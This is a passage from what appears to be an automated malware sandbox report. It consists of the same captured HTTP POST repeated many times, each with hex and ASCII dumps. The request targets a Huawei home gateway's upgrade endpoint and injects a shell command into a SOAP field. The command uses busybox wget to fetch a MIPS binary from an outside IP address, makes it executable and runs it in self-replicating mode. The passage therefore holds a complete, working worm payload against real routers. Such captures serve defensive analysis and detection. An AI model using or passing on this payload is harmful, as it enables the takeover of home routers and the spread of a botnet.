6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 